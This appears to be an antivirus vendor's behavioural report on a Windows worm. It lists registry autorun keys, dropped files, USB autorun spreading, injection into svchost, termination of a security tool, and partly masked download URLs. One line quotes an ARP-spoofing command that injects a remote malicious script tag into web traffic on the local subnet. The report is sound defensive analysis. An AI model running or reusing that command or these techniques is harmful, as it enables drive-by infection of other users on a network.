Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Active Setup\Installed Components\{H9I12RB03-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}] 'stubpath' = ''
Creates or modifies the following files:
- %WINDIR%\Tasks\ВМ»Ї.bat
- %WINDIR%\Tasks\hackshen.vbs
- %WINDIR%\Tasks\csrss.exe
Creates the following files on removable media:
- <Drive name for removable media>:\recycle.{645FF040-5081-101B-9F08-00AA002F954E}\GHOSTBAK.exe
- <Drive name for removable media>:\autorun.inf
Malicious functions:
Creates and executes the following:
- %TEMP%\weHZYumCdR.pif
- %TEMP%\WzGQQErpGA.pif
- %TEMP%\JSmU5ZRj6K.pif
- %TEMP%\9JQKs9X6yt.pif
- %TEMP%\sDqpWXWNg0.pif
- %TEMP%\mGvH2BkFZM.pif
- %TEMP%\C1tOC3Ysqn.pif
- %TEMP%\2xMzS7DXEf.pif
- %TEMP%\jkT6FhDScW.pif
- %TEMP%\iL22o1Z3Ny.pif
- <SYSTEM32>\arps.com -idx 0 -ip 10.0.0.2-10.0.0.255 -port 80 -insert "<script language="javascript" src="http://www.li###angvip.cn/down/index.htm"></script>"
- %TEMP%\ziuAvvgWbe.pif
- %WINDIR%\Tasks\csrss.exe
- <SYSTEM32>\wincap.exe
- %TEMP%\2xMzS7DXEf.pif (downloaded from the Internet)
- %TEMP%\C1tOC3Ysqn.pif (downloaded from the Internet)
- <SYSTEM32>\wincap.exe (downloaded from the Internet)
- %TEMP%\jkT6FhDScW.pif (downloaded from the Internet)
- %TEMP%\mGvH2BkFZM.pif (downloaded from the Internet)
- %TEMP%\9JQKs9X6yt.pif (downloaded from the Internet)
- <SYSTEM32>\arps.com (downloaded from the Internet)
- %TEMP%\ziuAvvgWbe.pif (downloaded from the Internet)
- %TEMP%\JSmU5ZRj6K.pif (downloaded from the Internet)
- %TEMP%\iL22o1Z3Ny.pif (downloaded from the Internet)
- %TEMP%\sDqpWXWNg0.pif (downloaded from the Internet)
- %TEMP%\weHZYumCdR.pif (downloaded from the Internet)
- %TEMP%\WzGQQErpGA.pif (downloaded from the Internet)
Executes the following:
- <SYSTEM32>\ipconfig.exe
- <SYSTEM32>\cmd.exe /c c:\killme.bat
Injects code into
the following system processes:
- <SYSTEM32>\svchost.exe
Terminates or attempts to terminate
the following user processes:
- 360tray.exe
Modifies file system :
Creates the following files:
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\7[1].exe
- %TEMP%\sDqpWXWNg0.pif
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\8[1].exe
- %TEMP%\weHZYumCdR.pif
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\YPORKZYZ\6[1].exe
- %TEMP%\WzGQQErpGA.pif
- %TEMP%\2xMzS7DXEf.pif
- %TEMP%\mGvH2BkFZM.pif
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\chajian[1].exe
- %TEMP%\C1tOC3Ysqn.pif
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\9[1].exe
- %TEMP%\jkT6FhDScW.pif
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\YPORKZYZ\10[1].exe
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\5[1].exe
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\3[1].exe
- %TEMP%\iL22o1Z3Ny.pif
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\arp[1].exe
- C:\killme.bat
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\wincap[1].exe
- <SYSTEM32>\wincap.exe
- <SYSTEM32>\arps.com
- %TEMP%\JSmU5ZRj6K.pif
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\4[1].exe
- %TEMP%\9JQKs9X6yt.pif
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\YPORKZYZ\1[1].exe
- %TEMP%\ziuAvvgWbe.pif
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\2[1].exe
Sets the 'hidden' attribute to the following files:
- <Drive name for removable media>:\autorun.inf
Deletes itself.
Network activity:
Connects to:
- 'www.li###angvip.cn':80
- '<Private IP address>':139
- '9u##9.cn':80
- '<Private IP address>':445
- 'localhost':1036
- '<Private IP address>':80
TCP:
HTTP GET requests:
- www.li###angvip.cn/down/7.exe
- www.li###angvip.cn/down/6.exe
- www.li###angvip.cn/down/5.exe
- www.li###angvip.cn/down/8.exe
- 9u##9.cn/wm/chajian.exe
- www.li###angvip.cn/down/10.exe
- www.li###angvip.cn/down/9.exe
- www.li###angvip.cn/down/3.exe
- www.li###angvip.cn/down/wincap.exe
- www.li###angvip.cn/down/tj/ct.asp?ma####################
- www.li###angvip.cn/down/arp.exe
- www.li###angvip.cn/down/4.exe
- www.li###angvip.cn/down/2.exe
- www.li###angvip.cn/down/1.exe
UDP:
- DNS ASK 9u##9.cn
- DNS ASK www.li###angvip.cn
Miscellaneous:
Searches for the following windows:
- ClassName: 'AfxControlBar42s' WindowName: ''